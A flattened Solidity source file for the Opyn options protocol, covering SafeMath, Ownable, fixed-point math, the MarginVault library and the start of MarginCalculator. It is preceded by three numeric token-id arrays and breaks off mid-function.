[ 1, 26606, 7169, 2542, 622, 404, 18, 20, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 3639, 389, 86, 5269, 273, 404, 73, 2643, 31, 225, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
/** * SPDX-License-Identifier: UNLICENSED */ pragma solidity =0.6.10; pragma experimental ABIEncoderV2; // File: contracts/packages/oz/SafeMath.sol /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // File: contracts/packages/oz/Context.sol /* * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with GSN meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal virtual view returns (address payable) { return msg.sender; } function _msgData() internal virtual view returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } // File: contracts/packages/oz/Ownable.sol /** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * By default, the owner account will be the one that deploys the contract. This * can later be changed with {transferOwnership}. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be applied to your functions to restrict their use to * the owner. */ contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor() internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } // File: contracts/interfaces/OtokenInterface.sol interface OtokenInterface { function addressBook() external view returns (address); function underlyingAsset() external view returns (address); function strikeAsset() external view returns (address); function collateralAsset() external view returns (address); function strikePrice() external view returns (uint256); function expiryTimestamp() external view returns (uint256); function isPut() external view returns (bool); function init( address _addressBook, address _underlyingAsset, address _strikeAsset, address _collateralAsset, uint256 _strikePrice, uint256 _expiry, bool _isPut ) external; function getOtokenDetails() external view returns ( address, address, address, uint256, uint256, bool ); function mintOtoken(address account, uint256 amount) external; function burnOtoken(address account, uint256 amount) external; } // File: contracts/interfaces/OracleInterface.sol interface OracleInterface { function isLockingPeriodOver(address _asset, uint256 _expiryTimestamp) external view returns (bool); function isDisputePeriodOver(address _asset, uint256 _expiryTimestamp) external view returns (bool); function getExpiryPrice(address _asset, uint256 _expiryTimestamp) external view returns (uint256, bool); function getDisputer() external view returns (address); function getPricer(address _asset) external view returns (address); function getPrice(address _asset) external view returns (uint256); function getPricerLockingPeriod(address _pricer) external view returns (uint256); function getPricerDisputePeriod(address _pricer) external view returns (uint256); function getChainlinkRoundData(address _asset, uint80 _roundId) external view returns (uint256, uint256); // Non-view function function setAssetPricer(address _asset, address _pricer) external; function setLockingPeriod(address _pricer, uint256 _lockingPeriod) external; function setDisputePeriod(address _pricer, uint256 _disputePeriod) external; function setExpiryPrice( address _asset, uint256 _expiryTimestamp, uint256 _price ) external; function disputeExpiryPrice( address _asset, uint256 _expiryTimestamp, uint256 _price ) external; function setDisputer(address _disputer) external; } // File: contracts/interfaces/ERC20Interface.sol /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface ERC20Interface { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); function decimals() external view returns (uint8); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } // File: contracts/packages/oz/SignedSafeMath.sol /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 private constant _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // File: contracts/libs/SignedConverter.sol /** * @title SignedConverter * @author Opyn Team * @notice A library to convert an unsigned integer to signed integer or signed integer to unsigned integer. */ library SignedConverter { /** * @notice convert an unsigned integer to a signed integer * @param a uint to convert into a signed integer * @return converted signed integer */ function uintToInt(uint256 a) internal pure returns (int256) { require(a < 2**255, "FixedPointInt256: out of int range"); return int256(a); } /** * @notice convert a signed integer to an unsigned integer * @param a int to convert into an unsigned integer * @return converted unsigned integer */ function intToUint(int256 a) internal pure returns (uint256) { if (a < 0) { return uint256(-a); } else { return uint256(a); } } } // File: contracts/libs/FixedPointInt256.sol /** * @title FixedPointInt256 * @author Opyn Team * @notice FixedPoint library */ library FPI { using SignedSafeMath for int256; using SignedConverter for int256; using SafeMath for uint256; using SignedConverter for uint256; int256 private constant SCALING_FACTOR = 1e27; uint256 private constant BASE_DECIMALS = 27; struct FixedPointInt { int256 value; } /** * @notice constructs an `FixedPointInt` from an unscaled int, e.g., `b=5` gets stored internally as `5**27`. * @param a int to convert into a FixedPoint. * @return the converted FixedPoint. */ function fromUnscaledInt(int256 a) internal pure returns (FixedPointInt memory) { return FixedPointInt(a.mul(SCALING_FACTOR)); } /** * @notice constructs an FixedPointInt from an scaled uint with {_decimals} decimals * Examples: * (1) USDC decimals = 6 * Input: 5 * 1e6 USDC => Output: 5 * 1e27 (FixedPoint 5.0 USDC) * (2) cUSDC decimals = 8 * Input: 5 * 1e6 cUSDC => Output: 5 * 1e25 (FixedPoint 0.05 cUSDC) * @param _a uint256 to convert into a FixedPoint. * @param _decimals original decimals _a has * @return the converted FixedPoint, with 27 decimals. */ function fromScaledUint(uint256 _a, uint256 _decimals) internal pure returns (FixedPointInt memory) { FixedPointInt memory fixedPoint; if (_decimals == BASE_DECIMALS) { fixedPoint = FixedPointInt(_a.uintToInt()); } else if (_decimals > BASE_DECIMALS) { uint256 exp = _decimals.sub(BASE_DECIMALS); fixedPoint = FixedPointInt((_a.div(10**exp)).uintToInt()); } else { uint256 exp = BASE_DECIMALS - _decimals; fixedPoint = FixedPointInt((_a.mul(10**exp)).uintToInt()); } return fixedPoint; } /** * @notice convert a FixedPointInt number to an uint256 with a specific number of decimals * @param _a FixedPointInt to convert * @param _decimals number of decimals that the uint256 should be scaled to * @param _roundDown True to round down the result, False to round up * @return the converted uint256 */ function toScaledUint( FixedPointInt memory _a, uint256 _decimals, bool _roundDown ) internal pure returns (uint256) { uint256 scaledUint; if (_decimals == BASE_DECIMALS) { scaledUint = _a.value.intToUint(); } else if (_decimals > BASE_DECIMALS) { uint256 exp = _decimals - BASE_DECIMALS; scaledUint = (_a.value).intToUint().mul(10**exp); } else { uint256 exp = BASE_DECIMALS - _decimals; uint256 tailing; if (!_roundDown) { uint256 remainer = (_a.value).intToUint().mod(10**exp); if (remainer > 0) tailing = 1; } scaledUint = (_a.value).intToUint().div(10**exp).add(tailing); } return scaledUint; } /** * @notice add two signed integers, a + b * @param a FixedPointInt * @param b FixedPointInt * @return sum of the two signed integers */ function add(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) { return FixedPointInt(a.value.add(b.value)); } /** * @notice subtract two signed integers, a-b * @param a FixedPointInt * @param b FixedPointInt * @return difference of two signed integers */ function sub(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) { return FixedPointInt(a.value.sub(b.value)); } /** * @notice multiply two signed integers, a by b * @param a FixedPointInt * @param b FixedPointInt * @return mul of two signed integers */ function mul(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) { return FixedPointInt((a.value.mul(b.value)) / SCALING_FACTOR); } /** * @notice divide two signed integers, a by b * @param a FixedPointInt * @param b FixedPointInt * @return div of two signed integers */ function div(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) { return FixedPointInt((a.value.mul(SCALING_FACTOR)) / b.value); } /** * @notice minimum between two signed integers, a and b * @param a FixedPointInt * @param b FixedPointInt * @return min of two signed integers */ function min(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) { return a.value < b.value ? a : b; } /** * @notice maximum between two signed integers, a and b * @param a FixedPointInt * @param b FixedPointInt * @return max of two signed integers */ function max(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (FixedPointInt memory) { return a.value > b.value ? a : b; } /** * @notice is a is equal to b * @param a FixedPointInt * @param b FixedPointInt * @return True if equal, False if not */ function isEqual(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) { return a.value == b.value; } /** * @notice is a greater than b * @param a FixedPointInt * @param b FixedPointInt * @return True if a > b, False if not */ function isGreaterThan(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) { return a.value > b.value; } /** * @notice is a greater than or equal to b * @param a FixedPointInt * @param b FixedPointInt * @return True if a >= b, False if not */ function isGreaterThanOrEqual(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) { return a.value >= b.value; } /** * @notice is a is less than b * @param a FixedPointInt * @param b FixedPointInt * @return True if a < b, False if not */ function isLessThan(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) { return a.value < b.value; } /** * @notice is a less than or equal to b * @param a FixedPointInt * @param b FixedPointInt * @return True if a <= b, False if not */ function isLessThanOrEqual(FixedPointInt memory a, FixedPointInt memory b) internal pure returns (bool) { return a.value <= b.value; } } // File: contracts/libs/MarginVault.sol /** * MarginVault Error Codes * V1: invalid short otoken amount * V2: invalid short otoken index * V3: short otoken address mismatch * V4: invalid long otoken amount * V5: invalid long otoken index * V6: long otoken address mismatch * V7: invalid collateral amount * V8: invalid collateral token index * V9: collateral token address mismatch */ /** * @title MarginVault * @author Opyn Team * @notice A library that provides the Controller with a Vault struct and the functions that manipulate vaults. * Vaults describe discrete position combinations of long options, short options, and collateral assets that a user can have. */ library MarginVault { using SafeMath for uint256; // vault is a struct of 6 arrays that describe a position a user has, a user can have multiple vaults. struct Vault { // addresses of oTokens a user has shorted (i.e. written) against this vault address[] shortOtokens; // addresses of oTokens a user has bought and deposited in this vault // user can be long oTokens without opening a vault (e.g. by buying on a DEX) // generally, long oTokens will be 'deposited' in vaults to act as collateral in order to write oTokens against (i.e. in spreads) address[] longOtokens; // addresses of other ERC-20s a user has deposited as collateral in this vault address[] collateralAssets; // quantity of oTokens minted/written for each oToken address in shortOtokens uint256[] shortAmounts; // quantity of oTokens owned and held in the vault for each oToken address in longOtokens uint256[] longAmounts; // quantity of ERC-20 deposited as collateral in the vault for each ERC-20 address in collateralAssets uint256[] collateralAmounts; } /** * @dev increase the short oToken balance in a vault when a new oToken is minted * @param _vault vault to add or increase the short position in * @param _shortOtoken address of the _shortOtoken being minted from the user's vault * @param _amount number of _shortOtoken being minted from the user's vault * @param _index index of _shortOtoken in the user's vault.shortOtokens array */ function addShort( Vault storage _vault, address _shortOtoken, uint256 _amount, uint256 _index ) external { require(_amount > 0, "V1"); // valid indexes in any array are between 0 and array.length - 1. // if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1 if ((_index == _vault.shortOtokens.length) && (_index == _vault.shortAmounts.length)) { _vault.shortOtokens.push(_shortOtoken); _vault.shortAmounts.push(_amount); } else { require((_index < _vault.shortOtokens.length) && (_index < _vault.shortAmounts.length), "V2"); address existingShort = _vault.shortOtokens[_index]; require((existingShort == _shortOtoken) || (existingShort == address(0)), "V3"); _vault.shortAmounts[_index] = _vault.shortAmounts[_index].add(_amount); _vault.shortOtokens[_index] = _shortOtoken; } } /** * @dev decrease the short oToken balance in a vault when an oToken is burned * @param _vault vault to decrease short position in * @param _shortOtoken address of the _shortOtoken being reduced in the user's vault * @param _amount number of _shortOtoken being reduced in the user's vault * @param _index index of _shortOtoken in the user's vault.shortOtokens array */ function removeShort( Vault storage _vault, address _shortOtoken, uint256 _amount, uint256 _index ) external { // check that the removed short oToken exists in the vault at the specified index require(_index < _vault.shortOtokens.length, "V2"); require(_vault.shortOtokens[_index] == _shortOtoken, "V3"); uint256 newShortAmount = _vault.shortAmounts[_index].sub(_amount); if (newShortAmount == 0) { delete _vault.shortOtokens[_index]; } _vault.shortAmounts[_index] = newShortAmount; } /** * @dev increase the long oToken balance in a vault when an oToken is deposited * @param _vault vault to add a long position to * @param _longOtoken address of the _longOtoken being added to the user's vault * @param _amount number of _longOtoken the protocol is adding to the user's vault * @param _index index of _longOtoken in the user's vault.longOtokens array */ function addLong( Vault storage _vault, address _longOtoken, uint256 _amount, uint256 _index ) external { require(_amount > 0, "V4"); // valid indexes in any array are between 0 and array.length - 1. // if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1 if ((_index == _vault.longOtokens.length) && (_index == _vault.longAmounts.length)) { _vault.longOtokens.push(_longOtoken); _vault.longAmounts.push(_amount); } else { require((_index < _vault.longOtokens.length) && (_index < _vault.longAmounts.length), "V5"); address existingLong = _vault.longOtokens[_index]; require((existingLong == _longOtoken) || (existingLong == address(0)), "V6"); _vault.longAmounts[_index] = _vault.longAmounts[_index].add(_amount); _vault.longOtokens[_index] = _longOtoken; } } /** * @dev decrease the long oToken balance in a vault when an oToken is withdrawn * @param _vault vault to remove a long position from * @param _longOtoken address of the _longOtoken being removed from the user's vault * @param _amount number of _longOtoken the protocol is removing from the user's vault * @param _index index of _longOtoken in the user's vault.longOtokens array */ function removeLong( Vault storage _vault, address _longOtoken, uint256 _amount, uint256 _index ) external { // check that the removed long oToken exists in the vault at the specified index require(_index < _vault.longOtokens.length, "V5"); require(_vault.longOtokens[_index] == _longOtoken, "V6"); uint256 newLongAmount = _vault.longAmounts[_index].sub(_amount); if (newLongAmount == 0) { delete _vault.longOtokens[_index]; } _vault.longAmounts[_index] = newLongAmount; } /** * @dev increase the collateral balance in a vault * @param _vault vault to add collateral to * @param _collateralAsset address of the _collateralAsset being added to the user's vault * @param _amount number of _collateralAsset being added to the user's vault * @param _index index of _collateralAsset in the user's vault.collateralAssets array */ function addCollateral( Vault storage _vault, address _collateralAsset, uint256 _amount, uint256 _index ) external { require(_amount > 0, "V7"); // valid indexes in any array are between 0 and array.length - 1. // if adding an amount to an preexisting short oToken, check that _index is in the range of 0->length-1 if ((_index == _vault.collateralAssets.length) && (_index == _vault.collateralAmounts.length)) { _vault.collateralAssets.push(_collateralAsset); _vault.collateralAmounts.push(_amount); } else { require((_index < _vault.collateralAssets.length) && (_index < _vault.collateralAmounts.length), "V8"); address existingCollateral = _vault.collateralAssets[_index]; require((existingCollateral == _collateralAsset) || (existingCollateral == address(0)), "V9"); _vault.collateralAmounts[_index] = _vault.collateralAmounts[_index].add(_amount); _vault.collateralAssets[_index] = _collateralAsset; } } /** * @dev decrease the collateral balance in a vault * @param _vault vault to remove collateral from * @param _collateralAsset address of the _collateralAsset being removed from the user's vault * @param _amount number of _collateralAsset being removed from the user's vault * @param _index index of _collateralAsset in the user's vault.collateralAssets array */ function removeCollateral( Vault storage _vault, address _collateralAsset, uint256 _amount, uint256 _index ) external { // check that the removed collateral exists in the vault at the specified index require(_index < _vault.collateralAssets.length, "V8"); require(_vault.collateralAssets[_index] == _collateralAsset, "V9"); uint256 newCollateralAmount = _vault.collateralAmounts[_index].sub(_amount); if (newCollateralAmount == 0) { delete _vault.collateralAssets[_index]; } _vault.collateralAmounts[_index] = newCollateralAmount; } } // File: contracts/core/MarginCalculator.sol /** * @title MarginCalculator * @author Opyn * @notice Calculator module that checks if a given vault is valid, calculates margin requirements, and settlement proceeds */ contract MarginCalculator is Ownable { using SafeMath for uint256; using FPI for FPI.FixedPointInt; /// @dev decimals option upper bound value, spot shock and oracle deviation uint256 internal constant SCALING_FACTOR = 27; /// @dev decimals used by strike price and oracle price uint256 internal constant BASE = 8; /// @notice auction length uint256 public constant AUCTION_TIME = 5400; /// @dev struct to store all needed vault details struct VaultDetails { address shortUnderlyingAsset; address shortStrikeAsset; address shortCollateralAsset; address longUnderlyingAsset; address longStrikeAsset; address longCollateralAsset; uint256 shortStrikePrice; uint256 shortExpiryTimestamp; uint256 shortCollateralDecimals; uint256 longStrikePrice; uint256 longExpiryTimestamp; uint256 longCollateralDecimals; uint256 collateralDecimals; uint256 vaultType; bool isShortPut; bool isLongPut; bool hasLong; bool hasShort; bool hasCollateral; } /// @dev oracle deviation value (1e27) uint256 internal oracleDeviation; /// @dev FixedPoint 0 FPI.FixedPointInt internal ZERO = FPI.fromScaledUint(0, BASE); /// @dev mapping to store dust amount per option collateral asset (scaled by collateral asset decimals) mapping(address => uint256) internal dust; /// @dev mapping to store array of time to expiry for a given product mapping(bytes32 => uint256[]) internal timesToExpiryForProduct; /// @dev mapping to store option upper bound value at specific time to expiry for a given product (1e27) mapping(bytes32 => mapping(uint256 => uint256)) internal maxPriceAtTimeToExpiry; /// @dev mapping to store shock value for spot price of a given product (1e27) mapping(bytes32 => uint256) internal spotShock; /// @dev oracle module OracleInterface public oracle; /// @notice emits an event when collateral dust is updated event CollateralDustUpdated(address indexed collateral, uint256 dust); /// @notice emits an event when new time to expiry is added for a specific product event TimeToExpiryAdded(bytes32 indexed productHash, uint256 timeToExpiry); /// @notice emits an event when new upper bound value is added for a specific time to expiry timestamp event MaxPriceAdded(bytes32 indexed productHash, uint256 timeToExpiry, uint256 value); /// @notice emits an event when updating upper bound value at specific expiry timestamp event MaxPriceUpdated(bytes32 indexed productHash, uint256 timeToExpiry, uint256 oldValue, uint256 newValue); /// @notice emits an event when spot shock value is updated for a specific product event SpotShockUpdated(bytes32 indexed product, uint256 spotShock); /// @notice emits an event when oracle deviation value is updated event OracleDeviationUpdated(uint256 oracleDeviation); /** * @notice constructor * @param _oracle oracle module address */ constructor(address _oracle) public { require(_oracle != address(0), "MarginCalculator: invalid oracle address"); oracle = OracleInterface(_oracle); } /** * @notice set dust amount for collateral asset * @dev can only be called by owner * @param _collateral collateral asset address * @param _dust dust amount, should be scaled by collateral asset decimals */ function setCollateralDust(address _collateral, uint256 _dust) external onlyOwner { require(_dust > 0, "MarginCalculator: dust amount should be greater than zero"); dust[_collateral] = _dust; emit CollateralDustUpdated(_collateral, _dust); } /** * @notice set product upper bound values * @dev can only be called by owner * @param _underlying otoken underlying asset * @param _strike otoken strike asset * @param _collateral otoken collateral asset * @param _isPut otoken type * @param _timesToExpiry array of times to expiry timestamp * @param _values upper bound values array */ function setUpperBoundValues( address _underlying, address _strike, address _collateral, bool _isPut, uint256[] calldata _timesToExpiry, uint256[] calldata _values ) external onlyOwner { require(_timesToExpiry.length > 0, "MarginCalculator: invalid times to expiry array"); require(_timesToExpiry.length == _values.length, "MarginCalculator: invalid values array"); // get product hash bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut); uint256[] storage expiryArray = timesToExpiryForProduct[productHash]; // check that this is the first expiry to set // if not, the last expiry should be less than the new one to insert (to make sure the array stay in order) require( (expiryArray.length == 0) || (_timesToExpiry[0] > expiryArray[expiryArray.length.sub(1)]), "MarginCalculator: expiry array is not in order" ); for (uint256 i = 0; i < _timesToExpiry.length; i++) { // check that new times array is in order if (i.add(1) < _timesToExpiry.length) { require(_timesToExpiry[i] < _timesToExpiry[i.add(1)], "MarginCalculator: time should be in order"); } require(_values[i] > 0, "MarginCalculator: no expiry upper bound value found"); // add new upper bound value for this product at specific time to expiry maxPriceAtTimeToExpiry[productHash][_timesToExpiry[i]] = _values[i]; // add new time to expiry to array expiryArray.push(_timesToExpiry[i]); emit TimeToExpiryAdded(productHash, _timesToExpiry[i]); emit MaxPriceAdded(productHash, _timesToExpiry[i], _values[i]); } } /** * @notice set option upper bound value for specific time to expiry (1e27) * @dev can only be called by owner * @param _underlying otoken underlying asset * @param _strike otoken strike asset * @param _collateral otoken collateral asset * @param _isPut otoken type * @param _timeToExpiry option time to expiry timestamp * @param _value upper bound value */ function updateUpperBoundValue( address _underlying, address _strike, address _collateral, bool _isPut, uint256 _timeToExpiry, uint256 _value ) external onlyOwner { require(_value > 0, "MarginCalculator: invalid option upper bound value"); bytes32 productHash = _getProductHash(_underlying, _strike, _collateral, _isPut); uint256 oldMaxPrice = maxPriceAtTimeToExpiry[productHash][_timeToExpiry]; 